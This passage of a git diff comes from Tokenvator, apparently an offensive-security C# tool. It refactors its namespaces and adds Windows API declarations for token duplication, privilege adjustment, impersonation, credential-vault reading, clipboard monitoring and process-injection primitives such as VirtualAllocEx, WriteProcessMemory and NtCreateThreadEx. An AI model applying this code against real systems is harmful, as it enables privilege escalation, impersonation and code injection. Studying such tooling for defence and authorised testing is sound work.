UInt64 nSize, ref UInt32 lpNumberOfBytesRead); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern UInt32 ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] internal static extern UInt32 SearchPath(String lpPath, String lpFileName, String lpExtension, UInt32 nBufferLength, StringBuilder lpBuffer, ref IntPtr lpFilePart); - [DllImport("kernel32.dll", EntryPoint="VirtualQueryEx")] - internal static extern Int32 VirtualQueryEx32(IntPtr hProcess, IntPtr lpAddress, out Winnt._MEMORY_BASIC_INFORMATION32 lpBuffer, UInt32 dwLength); + public delegate Boolean HandlerRoutine(Wincon.CtrlType CtrlType); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean SetConsoleCtrlHandler(HandlerRoutine HandlerRoutine, Boolean Add); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean SetThreadContext(IntPtr hThread, IntPtr lpContext); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, Winnt.MEMORY_PROTECTION_CONSTANTS flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr VirtualAllocEx(IntPtr hHandle, IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, Winnt.MEMORY_PROTECTION_CONSTANTS flProtect); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + public static extern Boolean VirtualProtect(IntPtr lpAddress, UInt32 dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS flNewProtect, ref Winnt.MEMORY_PROTECTION_CONSTANTS lpflOldProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean VirtualProtectEx(IntPtr hHandle, IntPtr lpAddress, UInt32 dwSize, Winnt.MEMORY_PROTECTION_CONSTANTS flNewProtect, ref Winnt.MEMORY_PROTECTION_CONSTANTS lpflOldProtect); + + [DllImport("kernel32.dll", SetLastError = true, EntryPoint="VirtualQueryEx")] + public static extern Int32 VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out Winnt._MEMORY_BASIC_INFORMATION lpBuffer, UInt32 dwLength); + + [DllImport("kernel32.dll", SetLastError = true, EntryPoint="VirtualQueryEx")] + public static extern Int32 VirtualQueryEx64(IntPtr hProcess, IntPtr lpAddress, out Winnt._MEMORY_BASIC_INFORMATION64 lpBuffer, UInt32 dwLength); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean WaitForSingleObject(IntPtr hProcess, UInt32 nSize); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern UInt32 WaitForSingleObjectEx(IntPtr hProcess, IntPtr hHandle, UInt32 dwMilliseconds); - [DllImport("kernel32.dll", EntryPoint="VirtualQueryEx")] - internal static extern Int32 VirtualQueryEx64(IntPtr hProcess, IntPtr lpAddress, out Winnt._MEMORY_BASIC_INFORMATION64 lpBuffer, UInt32 dwLength); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesWritten); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, ref UInt64 lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesWritten); } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs b/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs index b218688..35b83e3 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs @@ -1,12 +1,42 @@ using System; using System.Runtime.InteropServices; -namespace Tokenvator +using Unmanaged.Headers; + +namespace Unmanaged.Libraries { - class ntdll + sealed class ntdll { [DllImport("ntdll.dll", SetLastError = true)] - internal static extern int NtFilterToken( + public static extern UInt32 NtCreateProcessEx( + ref IntPtr ProcessHandle, + UInt32 DesiredAccess, + IntPtr ObjectAttributes, + IntPtr hInheritFromProcess, + UInt32 Flags, + IntPtr SectionHandle, + IntPtr DebugPort, + IntPtr ExceptionPort, + Byte InJob + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtCreateThreadEx( + ref IntPtr hThread, + UInt32 DesiredAccess, + IntPtr ObjectAttributes, + IntPtr ProcessHandle, + IntPtr lpStartAddress, + IntPtr lpParameter, + Boolean CreateSuspended, + UInt32 StackZeroBits, + UInt32 SizeOfStackCommit, + UInt32 SizeOfStackReserve, + IntPtr lpBytesBuffer + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtFilterToken( IntPtr TokenHandle, UInt32 Flags, IntPtr SidsToDisable, @@ -15,12 +45,56 @@ internal static extern int NtFilterToken( ref IntPtr hToken ); - [DllImport("ntdll.dll", SetLastError=true)] - internal static extern Int32 NtSetInformationToken( + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtGetContextThread( + IntPtr ProcessHandle, + IntPtr lpContext + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtQueryInformationProcess( + IntPtr ProcessHandle, + PROCESSINFOCLASS ProcessInformationClass, + IntPtr ProcessInformation, + UInt32 ProcessInformationLength, + ref UInt32 ReturnLength + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtSetInformationToken( IntPtr TokenHandle, Int32 TokenInformationClass, - ref Structs.TOKEN_MANDATORY_LABEL TokenInformation, + ref Winnt._TOKEN_MANDATORY_LABEL TokenInformation, Int32 TokenInformationLength ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtUnmapViewOfSection( + IntPtr hProcess, + IntPtr baseAddress + ); + + [Flags] + public enum PROCESSINFOCLASS + { + ProcessBasicInformation = 0, + ProcessDebugPort = 7, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessBreakOnTermination = 29, + ProcessSubsystemInformation = 75 + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _PROCESS_BASIC_INFORMATION + { + public IntPtr Reserved1; + public IntPtr PebBaseAddress; + public IntPtr AffinityMask; + public IntPtr BasePriority; + public UIntPtr UniqueProcessId; + public IntPtr Reserved3; + } + } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/secur32.cs b/Tokenvator/Resources/Unmanaged/Libraries/secur32.cs index 1d529c0..26c0693 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/secur32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/secur32.cs @@ -1,12 +1,12 @@ using System; using System.Runtime.InteropServices; -namespace Tokenvator +namespace Unmanaged.Libraries { class secur32 { [DllImport("secur32.dll")] - internal static extern UInt32 LsaGetLogonSessionData( + public static extern UInt32 LsaGetLogonSessionData( IntPtr LogonId, out IntPtr ppLogonSessionData ); diff --git a/Tokenvator/Resources/Unmanaged/Libraries/user32.cs b/Tokenvator/Resources/Unmanaged/Libraries/user32.cs new file mode 100644 index 0000000..8ad3d45 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Libraries/user32.cs @@ -0,0 +1,51 @@ +using System; +using System.Runtime.InteropServices; + +using Unmanaged.Headers; + +namespace Unmanaged.Libraries +{ + sealed class user32 + { + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean AddClipboardFormatListener(IntPtr hwnd); + + [DllImport("user32.dll")] + public static extern Boolean ChangeClipboardChain(IntPtr hWndRemove, IntPtr hWndNewNext); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr CreateWindowEx( + Winuser.WindowStylesEx dwExStyle, + [MarshalAs(UnmanagedType.LPStr)] + String lpClassName, + [MarshalAs(UnmanagedType.LPStr)] String lpWindowName, + Winuser.WindowStyles dwStyle, Int32 x, Int32 y, Int32 nWidth, Int32 nHeight, IntPtr hWndParent, IntPtr hMenu, IntPtr hInstance, IntPtr lpParam); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean DestroyWindow(IntPtr hwnd); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr DispatchMessage(ref Winuser.tagMSG lpMsg); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean GetMessage(ref Winuser.tagMSG lpMsg, IntPtr hWnd, UInt32 wMsgFilterMin, UInt32 wMsgFilterMax); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean PostMessage(IntPtr hWnd, UInt32 Msg, UInt32 wParam, UInt32 lParam); + + [DllImport("user32.dll", SetLastError = true)] + public static extern UInt16 RegisterClassEx(ref Winuser.WNDCLASSEX lpwcx); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean RemoveClipboardFormatListener(IntPtr hwnd); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr SetClipboardViewer(IntPtr hWndNewViewer); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean TranslateMessage(ref Winuser.tagMSG lpMsg); + + [DllImport("user32.dll", SetLastError = true)] + public static extern Boolean UnregisterClass(String lpClassName, IntPtr hInstance); + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/vaultcli.cs b/Tokenvator/Resources/Unmanaged/Libraries/vaultcli.cs index 16342ff..723cf95 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/vaultcli.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/vaultcli.cs @@ -1,11 +1,11 @@ using System; using System.Runtime.InteropServices; -namespace Tokenvator +namespace Unmanaged.Libraries { - class vaultcli + sealed class vaultcli { - [DllImport("vaultcli.dll", CharSet = CharSet.Auto)] + [DllImport("vaultcli.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern Boolean VaultEnumerateItems( IntPtr hVault, Int32 unknown, @@ -13,14 +13,14 @@ public static extern Boolean VaultEnumerateItems( out IntPtr ppVaultGuids ); - [DllImport("vaultcli.dll", CharSet = CharSet.Auto)] + [DllImport("vaultcli.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern Boolean VaultEnumerateVaults( Int32 unknown, out Int32 dwVaults, out IntPtr ppVaultGuids ); - [DllImport("vaultcli.dll", CharSet = CharSet.Auto, EntryPoint="VaultGetItem")] + [DllImport("vaultcli.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "VaultGetItem")] public static extern Boolean VaultGetItem7( IntPtr hVault, ref Guid guid, @@ -32,7 +32,7 @@ public static extern Boolean VaultGetItem7( out IntPtr hitem ); - [DllImport("vaultcli.dll", CharSet = CharSet.Auto, EntryPoint="VaultGetItem")] + [DllImport("vaultcli.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "VaultGetItem")] public static extern Boolean VaultGetItem8( IntPtr hVault, ref Guid guid, @@ -45,7 +45,7 @@ public static extern Boolean VaultGetItem8( out IntPtr hitem ); - [DllImport("vaultcli.dll", CharSet = CharSet.Auto)] + [DllImport("vaultcli.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern Boolean VaultOpenVault( ref Guid guid, Int32 dwVaults, diff --git a/Tokenvator/Resources/Unmanaged/Libraries/wlanapi.cs b/Tokenvator/Resources/Unmanaged/Libraries/wlanapi.cs new file mode 100644 index 0000000..1ce8e44 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Libraries/wlanapi.cs @@ -0,0 +1,9 @@ +using System.Runtime.InteropServices; + +namespace Unmanaged.Libraries +{ + sealed class wlanapi + { + + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/wtsapi32.cs b/Tokenvator/Resources/Unmanaged/Libraries/wtsapi32.cs similarity index 98% rename from Tokenvator/Resources/Unmanaged/Headers/wtsapi32.cs rename to Tokenvator/Resources/Unmanaged/Libraries/wtsapi32.cs index 7a05f27..4f9b4fa 100644 --- a/Tokenvator/Resources/Unmanaged/Headers/wtsapi32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/wtsapi32.cs @@ -1,7 +1,7 @@ using System; using System.Runtime.InteropServices; -namespace Tokenvator +namespace Unmanaged.Libraries { class wtsapi32 { diff --git a/Tokenvator/Resources/Winbase.cs b/Tokenvator/Resources/Winbase.cs deleted file mode 100644 index 049481c..0000000 --- a/Tokenvator/Resources/Winbase.cs +++ /dev/null @@ -1,30 +0,0 @@ -using System.Runtime.InteropServices; - -using WORD = System.UInt16; -using DWORD = System.UInt32; -using QWORD = System.UInt64; - -using LPVOID = System.IntPtr; -using DWORD_PTR = System.IntPtr; - -namespace WheresMyImplant -{ - public class Winbase - { - [StructLayout(LayoutKind.Sequential)] - internal struct _SYSTEM_INFO - { - public WORD wProcessorArchitecture; - public WORD wReserved; - public DWORD dwPageSize; - public LPVOID lpMinimumApplicationAddress; - public LPVOID lpMaximumApplicationAddress; - public DWORD_PTR dwActiveProcessorMask; - public DWORD dwNumberOfProcessors; - public DWORD dwProcessorType; - public DWORD dwAllocationGranularity; - public WORD wProcessorLevel; - public WORD wProcessorRevision; - } - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Wincrypt.cs b/Tokenvator/Resources/Wincrypt.cs deleted file mode 100644 index cbc1839..0000000 --- a/Tokenvator/Resources/Wincrypt.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System.Runtime.InteropServices; - -using WORD = System.UInt16; -using DWORD = System.UInt32; -using QWORD = System.UInt64; -using ULONGLONG = System.UInt64; - -using LPCWSTR = System.String; - -using HWND = System.IntPtr; -using BYTE = System.IntPtr; -using PVOID = System.IntPtr; -using LPVOID = System.IntPtr; -using DWORD_PTR = System.IntPtr; -using SIZE_T = System.IntPtr; - -namespace WheresMyImplant -{ - public class Wincrypt - { - [StructLayout(LayoutKind.Sequential)] - internal struct _CRYPTOAPI_BLOB - { - public DWORD cbData; - public BYTE pbData; - } - - [StructLayout(LayoutKind.Sequential)] - internal struct _CRYPTPROTECT_PROMPTSTRUCT - { - public DWORD cbSize; - public DWORD dwPromptFlags; - public HWND hwndApp; - public LPCWSTR szPrompt; - } - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Winnt.cs b/Tokenvator/Resources/Winnt.cs deleted file mode 100644 index 6c2d164..0000000 --- a/Tokenvator/Resources/Winnt.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System.Runtime.InteropServices; - -using WORD = System.UInt16; -using DWORD = System.UInt32; -using QWORD = System.UInt64; -using ULONGLONG = System.UInt64; - -using PVOID = System.IntPtr; -using LPVOID = System.IntPtr; -using DWORD_PTR = System.IntPtr; -using SIZE_T = System.IntPtr; - -namespace WheresMyImplant -{ - public class Winnt - { - //////////////////////////////////////////////////////////////////////////////// - // https://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx - //////////////////////////////////////////////////////////////////////////////// - public const DWORD PAGE_NOACCESS = 0x01; - public const DWORD PAGE_READONLY = 0x02; - public const DWORD PAGE_READWRITE = 0x04; - public const DWORD PAGE_WRITECOPY = 0x08; - public const DWORD PAGE_EXECUTE = 0x10; - public const DWORD PAGE_EXECUTE_READ = 0x20; - public const DWORD PAGE_EXECUTE_READWRITE = 0x40; - public const DWORD PAGE_EXECUTE_WRITECOPY = 0x80; - public const DWORD PAGE_GUARD = 0x100; - public const DWORD PAGE_NOCACHE = 0x200; - public const DWORD PAGE_WRITECOMBINE = 0x400; - public const DWORD PAGE_TARGETS_INVALID = 0x40000000; - public const DWORD PAGE_TARGETS_NO_UPDATE = 0x40000000; - - [StructLayout(LayoutKind.Sequential)] - internal struct _MEMORY_BASIC_INFORMATION32 - { - public DWORD BaseAddress; - public DWORD AllocationBase; - public DWORD AllocationProtect; - public DWORD RegionSize; - public DWORD State; - public DWORD Protect; - public DWORD Type; - } - - [StructLayout(LayoutKind.Sequential)] - internal struct _MEMORY_BASIC_INFORMATION64 - { - public ULONGLONG BaseAddress; - public ULONGLONG AllocationBase; - public DWORD AllocationProtect; - public DWORD __alignment1; - public ULONGLONG RegionSize; - public DWORD State; - public DWORD Protect; - public DWORD Type; - public DWORD __alignment2; - } - } -} \ No newline at end of file diff --git a/Tokenvator/RestrictedToken.cs b/Tokenvator/RestrictedToken.cs index 3f8a6cc..b2e0f80 100644 --- a/Tokenvator/RestrictedToken.cs +++ b/Tokenvator/RestrictedToken.cs @@ -1,12 +1,10 @@ using System; -using System.Collections.Generic; -using System.Diagnostics; using System.Linq; -using System.Management; using System.Runtime.InteropServices; -using System.Security; using System.Security.Principal; -using System.Text; + +using Unmanaged.Headers; +using Unmanaged.Libraries; namespace Tokenvator { @@ -65,7 +63,7 @@ public Boolean GetPrimaryToken(UInt32 processId) Console.WriteLine("[+] Recieved Handle for: {0}", processId); Console.WriteLine(" [+] Process Handle: {0}", hProcess.ToInt32()); - if (!kernel32.OpenProcessToken(hProcess, (UInt32)Enums.ACCESS_MASK.MAXIMUM_ALLOWED, out hExistingToken)) + if (!kernel32.OpenProcessToken(hProcess, (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, out hExistingToken)) { Console.WriteLine(" [-] Unable to Open Process Token: {0}", hProcess.ToInt32()); return false; @@ -73,13 +71,13 @@ public Boolean GetPrimaryToken(UInt32 processId) Console.WriteLine(" [+] Primary Token Handle: {0}", hExistingToken.ToInt32()); kernel32.CloseHandle(hProcess); - Structs._SECURITY_ATTRIBUTES securityAttributes = new Structs._SECURITY_ATTRIBUTES(); + Winbase._SECURITY_ATTRIBUTES securityAttributes = new Winbase._SECURITY_ATTRIBUTES(); if (!advapi32.DuplicateTokenEx( hExistingToken, (UInt32)(Constants.TOKEN_ALL_ACCESS), ref securityAttributes, - Enums._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Enums.TOKEN_TYPE.TokenPrimary, + Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, + Winnt.TOKEN_TYPE.TokenPrimary, out phNewToken )) { @@ -96,7 +94,7 @@ out phNewToken //////////////////////////////////////////////////////////////////////////////// public Boolean SetTokenInformation() { - Structs.SidIdentifierAuthority pIdentifierAuthority = new Structs.SidIdentifierAuthority(); + Winnt._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority = new Winnt._SID_IDENTIFIER_AUTHORITY(); pIdentifierAuthority.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; byte nSubAuthorityCount = 1; IntPtr pSID = new IntPtr(); @@ -108,11 +106,11 @@ public Boolean SetTokenInformation() Console.WriteLine(" [+] Initialized SID : {0}", pSID.ToInt32()); - Structs.SID_AND_ATTRIBUTES sidAndAttributes = new Structs.SID_AND_ATTRIBUTES(); + Winnt._SID_AND_ATTRIBUTES sidAndAttributes = new Winnt._SID_AND_ATTRIBUTES(); sidAndAttributes.Sid = pSID; sidAndAttributes.Attributes = Constants.SE_GROUP_INTEGRITY_32; - Structs.TOKEN_MANDATORY_LABEL tokenMandatoryLabel = new Structs.TOKEN_MANDATORY_LABEL(); + Winnt._TOKEN_MANDATORY_LABEL tokenMandatoryLabel = new Winnt._TOKEN_MANDATORY_LABEL(); tokenMandatoryLabel.Label = sidAndAttributes; Int32 tokenMandatoryLableSize = Marshal.SizeOf(tokenMandatoryLabel); @@ -123,7 +121,6 @@ public Boolean SetTokenInformation() } Console.WriteLine(" [+] Set Token Information : {0}", phNewToken.ToInt32()); - Structs._SECURITY_ATTRIBUTES securityAttributes = new Structs._SECURITY_ATTRIBUTES(); if (0 != ntdll.NtFilterToken(phNewToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref luaToken)) { GetError("NtFilterToken: "); @@ -137,13 +134,13 @@ public Boolean SetTokenInformation() //////////////////////////////////////////////////////////////////////////////// public Boolean ImpersonateUser() { - Structs._SECURITY_ATTRIBUTES securityAttributes = new Structs._SECURITY_ATTRIBUTES(); + Winbase._SECURITY_ATTRIBUTES securityAttributes = new Winbase._SECURITY_ATTRIBUTES(); if (!advapi32.DuplicateTokenEx( luaToken, (UInt32)(Constants.TOKEN_IMPERSONATE | Constants.TOKEN_QUERY), ref securityAttributes, - Enums._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Enums.TOKEN_TYPE.TokenImpersonation, + Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, + Winnt.TOKEN_TYPE.TokenImpersonation, out phNewToken )) { diff --git a/Tokenvator/Tokens.cs b/Tokenvator/Tokens.cs index 01bef58..69eba17 100644 --- a/Tokenvator/Tokens.cs +++ b/Tokenvator/Tokens.cs @@ -1,13 +1,13 @@ using System; using System.Collections.Generic; using System.Diagnostics; -using System.Linq; -using System.Management; using System.Runtime.InteropServices; -using System.Security; using System.Security.Principal; using System.Text; +using Unmanaged.Headers; +using Unmanaged.Libraries; + namespace Tokenvator { class Tokens : IDisposable @@ -85,13 +85,13 @@ public Boolean StartProcessAsUser(Int32 processId, String newProcess) { return false; } - Structs._SECURITY_ATTRIBUTES securityAttributes = new Structs._SECURITY_ATTRIBUTES(); + Winbase._SECURITY_ATTRIBUTES securityAttributes = new Winbase._SECURITY_ATTRIBUTES(); if (!advapi32.DuplicateTokenEx( hExistingToken, - (UInt32)Enums.ACCESS_MASK.MAXIMUM_ALLOWED, + (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, ref securityAttributes, - Enums._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Enums.TOKEN_TYPE.TokenPrimary, + Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, + Winnt.TOKEN_TYPE.TokenPrimary, out phNewToken )) { @@ -128,13 +128,13 @@ public virtual Boolean ImpersonateUser(Int32 processId) { return false; } - Structs._SECURITY_ATTRIBUTES securityAttributes = new Structs._SECURITY_ATTRIBUTES(); + Winbase._SECURITY_ATTRIBUTES securityAttributes = new Winbase._SECURITY_ATTRIBUTES(); if (!advapi32.DuplicateTokenEx( hExistingToken, - (UInt32)Enums.ACCESS_MASK.MAXIMUM_ALLOWED, + (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, ref securityAttributes, - Enums._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Enums.TOKEN_TYPE.TokenPrimary, + Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, + Winnt.TOKEN_TYPE.TokenPrimary, out phNewToken )) { @@ -276,7 +276,7 @@ private static IntPtr OpenThreadTokenChecked() { Console.WriteLine(" [-] OpenTheadToken Failed"); Console.WriteLine(" [*] Impersonating Self"); - if (!advapi32.ImpersonateSelf(Enums.SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation)) + if (!advapi32.ImpersonateSelf(Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation)) { GetError("ImpersonateSelf"); return IntPtr.Zero; @@ -302,7 +302,7 @@ public static void UnSetTokenPrivilege(ref IntPtr hToken, String privilege) { Console.WriteLine("[*] Adjusting Token Privilege"); //////////////////////////////////////////////////////////////////////////////// - Structs._LUID luid = new Structs._LUID(); + Winnt._LUID luid = new Winnt._LUID(); if (!advapi32.LookupPrivilegeValue(null, privilege, ref luid)) { GetError("LookupPrivilegeValue"); @@ -311,15 +311,15 @@ public static void UnSetTokenPrivilege(ref IntPtr hToken, String privilege) Console.WriteLine(" [+] Recieved luid"); //////////////////////////////////////////////////////////////////////////////// - Structs._LUID_AND_ATTRIBUTES luidAndAttributes = new Structs._LUID_AND_ATTRIBUTES(); + Winnt._LUID_AND_ATTRIBUTES luidAndAttributes = new Winnt._LUID_AND_ATTRIBUTES(); luidAndAttributes.Luid = luid; luidAndAttributes.Attributes = 0; - Structs._TOKEN_PRIVILEGES newState = new Structs._TOKEN_PRIVILEGES(); + Winnt._TOKEN_PRIVILEGES newState = new Winnt._TOKEN_PRIVILEGES(); newState.PrivilegeCount = 1; newState.Privileges = luidAndAttributes; - Structs._TOKEN_PRIVILEGES previousState = new Structs._TOKEN_PRIVILEGES(); + Winnt._TOKEN_PRIVILEGES previousState = new Winnt._TOKEN_PRIVILEGES(); UInt32 returnLength = 0; Console.WriteLine(" [+] AdjustTokenPrivilege Pass 1"); if (!advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength)) @@ -332,7 +332,7 @@ public static void UnSetTokenPrivilege(ref IntPtr hToken, String privilege) //////////////////////////////////////////////////////////////////////////////// - Structs._TOKEN_PRIVILEGES kluge = new Structs._TOKEN_PRIVILEGES(); + Winnt._TOKEN_PRIVILEGES kluge = new Winnt._TOKEN_PRIVILEGES(); Console.WriteLine(" [+] AdjustTokenPrivilege Pass 2"); if (!advapi32.AdjustTokenPrivileges(hToken, false, ref previousState, (UInt32)Marshal.SizeOf(previousState), ref kluge, out returnLength)) { @@ -358,7 +358,7 @@ public static void SetTokenPrivilege(ref IntPtr hToken, String privilege) } Console.WriteLine("[*] Adjusting Token Privilege"); //////////////////////////////////////////////////////////////////////////////// - Structs._LUID luid = new Structs._LUID(); + Winnt._LUID luid = new Winnt._LUID(); if (!advapi32.LookupPrivilegeValue(null, privilege, ref luid)) { GetError("LookupPrivilegeValue"); @@ -367,15 +367,15 @@ public static void SetTokenPrivilege(ref IntPtr hToken, String privilege) Console.WriteLine(" [+] Received luid"); //////////////////////////////////////////////////////////////////////////////// - Structs._LUID_AND_ATTRIBUTES luidAndAttributes = new Structs._LUID_AND_ATTRIBUTES(); + Winnt._LUID_AND_ATTRIBUTES luidAndAttributes = new Winnt._LUID_AND_ATTRIBUTES(); luidAndAttributes.Luid = luid; luidAndAttributes.Attributes = Constants.SE_PRIVILEGE_ENABLED; - Structs._TOKEN_PRIVILEGES newState = new Structs._TOKEN_PRIVILEGES(); + Winnt._TOKEN_PRIVILEGES newState = new Winnt._TOKEN_PRIVILEGES(); newState.PrivilegeCount = 1; newState.Privileges = luidAndAttributes; - Structs._TOKEN_PRIVILEGES previousState = new Structs._TOKEN_PRIVILEGES(); + Winnt._TOKEN_PRIVILEGES previousState = new Winnt._TOKEN_PRIVILEGES(); UInt32 returnLength = 0; Console.WriteLine(" [*] AdjustTokenPrivilege"); if (!advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength)) @@ -398,7 +398,7 @@ public static void EnumerateTokenPrivileges(IntPtr hToken) Console.WriteLine("[*] Enumerating Token Privileges"); advapi32.GetTokenInformation( hToken, - Enums._TOKEN_INFORMATION_CLASS.TokenPrivileges, + Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, TokenInfLength, out TokenInfLength @@ -415,7 +415,7 @@ out TokenInfLength //////////////////////////////////////////////////////////////////////////////// if (!advapi32.GetTokenInformation( hToken, - Enums._TOKEN_INFORMATION_CLASS.TokenPrivileges, + Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, lpTokenInformation, TokenInfLength, out TokenInfLength)) @@ -424,7 +424,7 @@ out TokenInfLength return; } Console.WriteLine("[*] GetTokenInformation - Pass 2"); - Structs._TOKEN_PRIVILEGES_ARRAY tokenPrivileges = (Structs._TOKEN_PRIVILEGES_ARRAY)Marshal.PtrToStructure(lpTokenInformation, typeof(Structs._TOKEN_PRIVILEGES_ARRAY)); + Winnt._TOKEN_PRIVILEGES_ARRAY tokenPrivileges = (Winnt._TOKEN_PRIVILEGES_ARRAY)Marshal.PtrToStructure(lpTokenInformation, typeof(Winnt._TOKEN_PRIVILEGES_ARRAY)); Console.WriteLine("[+] Enumerated " + tokenPrivileges.PrivilegeCount + " Privileges"); Console.WriteLine(); @@ -452,10 +452,10 @@ out TokenInfLength continue; } - Structs._PRIVILEGE_SET privilegeSet = new Structs._PRIVILEGE_SET(); + Winnt._PRIVILEGE_SET privilegeSet = new Winnt._PRIVILEGE_SET(); privilegeSet.PrivilegeCount = 1; - privilegeSet.Control = Structs.PRIVILEGE_SET_ALL_NECESSARY; - privilegeSet.Privilege = new Structs._LUID_AND_ATTRIBUTES[] { tokenPrivileges.Privileges[i] }; + privilegeSet.Control = Winnt.PRIVILEGE_SET_ALL_NECESSARY; + privilegeSet.Privilege = new Winnt._LUID_AND_ATTRIBUTES[] { tokenPrivileges.Privileges[i] }; IntPtr pfResult; if (!advapi32.PrivilegeCheck(hToken, privilegeSet, out pfResult)) diff --git a/Tokenvator/Tokenvator.csproj b/Tokenvator/Tokenvator.csproj index 0963373..bb847aa 100644 --- a/Tokenvator/Tokenvator.csproj +++ b/Tokenvator/Tokenvator.csproj @@ -1,5 +1,5 @@  - + Debug AnyCPU @@ -16,6 +16,12 @@ true + false + + + + + 3.5 publish\ true Disk @@ -28,7 +34,6 @@ true 0 1.0.0.%2a - false false true @@ -69,26 +74,41 @@ + - - + + + + + + + + + + + + + + + + + + - - diff --git a/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt b/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt index 53a7302..4f956e6 100644 --- a/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt +++ b/Tokenvator/obj/Release/Tokenvator.csproj.FileListAbsolute.txt @@ -3,3 +3,9 @@ C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.exe C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\bin\Release\Tokenvator.pdb C:\Users\0xbadjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\ResolveAssemblyReference.cache +C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.csprojAssemblyReference.cache +C:\Users\badjuju\Documents\GitHub\Tokenvator\Tokenvator\obj\Release\Tokenvator.csproj.CoreCompileInputs.cache 